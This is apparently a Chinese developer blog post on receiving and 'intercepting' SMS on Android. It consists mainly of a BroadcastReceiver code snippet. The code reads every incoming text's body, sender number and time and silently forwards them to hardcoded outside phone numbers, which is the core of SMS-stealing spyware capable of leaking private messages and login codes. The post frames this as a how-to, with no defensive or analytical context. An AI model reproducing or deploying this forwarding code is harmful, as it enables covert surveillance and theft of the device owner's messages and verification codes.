android发送短信和拦截短信信息

1:短信属于接受一个短信的广播信号所以需要接收一个

    android.provider.Telephony.SMS_RECEIVED广播

2:注册一个广播继承BroadcastReceiver并在action中注册

   <action android:name="android.provider.Telephony.SMS_RECEIVED" />

3:接受到该广播信号

  @Override
  public void onReceive(Context context, Intent intent)
   {

     Bundle bundle = intent.getExtras();

     if (intent.getAction().equals(SMSACTION))
    {
        if (bundle != null)
        {

    Object[] msg = (Object[]) bundle.get("pdus");//接收一个bundle数据
    messages = new SmsMessage[msg.length];//建立一个message数组用于存不同的短信message对象

    for (int i = 0; i < msg.length; i++)
    {
     messages[i] = SmsMessage.createFromPdu((byte[]) msg[i]);//给每个message对象赋值
    }

    manager = SmsManager.getDefault();//获取一个消息管理对象用于管理消息的发送

    for (SmsMessage mess : messages)//取出每一个消息短息对象
    {
     if (mess != null)
     {
      String body = mess.getMessageBody();//获取消息的内容
      String phone = mess.getOriginatingAddress();//获取发信息的手机号
      Date date = new Date(mess.getTimestampMillis());//大信息的时间
      SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd  HH:mm:ss");
      String time = dateFormat.format(date);
      StringBuffer mesagText = new StringBuffer();
      mesagText.append(body + "       ");
      mesagText.append(phone);
      mesagText.append(time);
      if (mesagText.toString().length() > 70)//消息的长度
      {
       List<String> totalSms = manager.divideMessage(mesagText.toString());
       for (String string : totalSms)
       {
        manager.sendTextMessage("134343456654", null,string, null, null);
       }
      }else {
       
           manager.sendTextMessage("13482364798", null, mesagText.toString(), null, null); //发送短信
      }
     }
    }

   }
  }

 }

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值